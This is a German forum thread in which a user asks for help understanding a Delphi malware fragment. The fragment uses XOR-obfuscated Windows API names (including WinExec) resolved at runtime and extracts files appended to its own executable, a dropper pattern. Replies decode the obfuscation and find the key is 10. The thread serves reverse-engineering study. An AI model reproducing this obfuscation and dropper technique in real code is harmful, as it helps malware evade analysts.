Delphi-Code -bitte um Hilfe-

SUID:root

Member of Honour
Hallo zusammen.

Ich sehe mir gerade einen Malware-Code an und versuche ihn zu verstehen und hänge an dieser Funktion.
Unklar ist mir dabei, woher die Werte #97#111#120#, etc.. kommen, bzw was sie tun (was hat es mit diesen Libs auf sich?)

Hat jemand eine Erklärung?


function Cipher(Data: pchar; Len: integer): string;
var
DataLoop: integer;
begin
for DataLoop := 0 to Len - 1 do
begin
Result := Result + chr(ord(Data[DataLoop]) xor ByteKey);
end;
end;

begin
Libs[0] := pchar(Cipher(#97#111#120#100#111#102#57#56#10, 9));
Libs[1] := pchar(Cipher(#73#102#101#121#111#66#107#100#110#102#111#10, 12));
Libs[2] := pchar(Cipher(#73#120#111#107#126#111#76#99#102#111#75#10, 12));
Libs[3] := pchar(Cipher(#77#111#126#76#99#102#111#89#99#112#111#10, 12));
Libs[4] := pchar(Cipher(#77#111#126#94#111#103#122#90#107#126#98#75#10, 13));
Libs[5] := pchar(Cipher(#88#111#107#110#76#99#102#111#10, 9));
Libs[6] := pchar(Cipher(#89#111#126#76#99#102#111#90#101#99#100#126#111#120#10, 15));
Libs[7] := pchar(Cipher(#93#99#100#79#114#111#105#10, 8));
Libs[8] := pchar(Cipher(#93#120#99#126#111#76#99#102#111#10, 10));
hKernel := LoadLibrary(Libs[0]);
@CloseHandle2 := GetProcAddress(hKernel, Libs[1]);
@CreateFile2 := GetProcAddress(hKernel, Libs[2]);
@GetFileSize2 := GetProcAddress(hKernel, Libs[3]);
@GetTempPath2 := GetProcAddress(hKernel, Libs[4]);
@ReadFile2 := GetProcAddress(hKernel, Libs[5]);
@SetFilePointer2 := GetProcAddress(hKernel, Libs[6]);
@WinExec2 := GetProcAddress(hKernel, Libs[7]);
@WriteFile2 := GetProcAddress(hKernel, Libs[8]);
Input := CreateFile2(pchar(ParamStr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
ImageSize := GetFileSize2(Input, nil);
SetFilePointer2(Input, ImageSize - 4, nil, FILE_BEGIN);
ReadFile2(Input, FileCount, 4, Bytes, nil);
FileCount := FileCount xor ByteKey;
LoadFileInformationStructures;
for ExtractLoop := Low(Files) to High(Files) do
begin
Extract(string(Files[ExtractLoop].FileName), Files[ExtractLoop].Offset, Files[ExtractLoop].Size);
end;
 
In deinem Code steht nicht was ByteKey für einen Wert hat.
Ich habe mal etwas ausprobiert.
Nämlich folgendes:

Code:
1 x Button
1 x Memo

function Cipher(Data: pchar; Len: integer): string;
var
DataLoop: integer;
begin
for DataLoop := 0 to Len - 1 do
begin
Result := Result + chr(ord(Data[DataLoop]) xor 10);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
Libs:pchar;
begin
Libs := pchar(Cipher(#97#111#120#100#111#102#57#56#10, 9));
memo1.Lines.Add(libs);
end;


end.


ByteKey habe ich zufällig gewählt und siehe da!
Bei ByteKey = 10 kommt für "#97#111#120#100#111#102#57#56#10" folgendes heraus:
"Kernel32

Es scheint also eine Verschlüsselung zu sein?!
 
Der Autor lädt in diesem teil des Codes, verschiedene Funktionen von Windows(?)-Bibliotheken.
Welche das genau sind, kann ich dir erst sagen wenn du mir verrätst, was in der Variable ByteKey steht. ;)
Aber welche Funktionen das sind siehste ja im groben.(CreateFile, WriteFile..)

Die Namen der DLLs hat der Autor obfuscated[1], damit es der Reverser es schwerer hat, rauszukriegen was es macht.
Die Zeichenfolgen (Die Zahlen stellen einzelne Chars(einzelne zeichen) dar).
Was für ein Zeichen die einzelne Zahl darstellt findest du mit chr(); heraus.

Beispiel:
ShowMessage(chr(43));

Die Zeichenfolgen geben trotzdem keinen Sinn, denn sie wurden vorher sozusagen verschlüsselt.
Die Funktion Cipher(), entschlüsselt diese Zeichenfolge wieder. Indem jedes Zeichen gegen einen bestimmen Wert gexored wird. Denn kenne ich aber nich. Irgendwo im Quellcode müsse noch die Variable ByteKey deklariert und zugewiesen worden sein.


[1] http://en.wikipedia.org/wiki/Obfuscation

EDIT:

Huch, Olli. Da haste ja genau in schwarze getroffen mit der 10 ;). Haste 1-10 ausprobiert ?
 
Danke für eure Antworten.

const
ByteKey: byte = 10;

Das erklärt dann alles. Manchmal stehe ich wirklich auf dem Schlauch bzw. sehe den Wald vor lauter Bäumen nicht. :rolleyes:

EDIT: Natürlich auch von mir ein Dankeschön für die Erläuterung. :)

Merci.

root
 
Zurück
Oben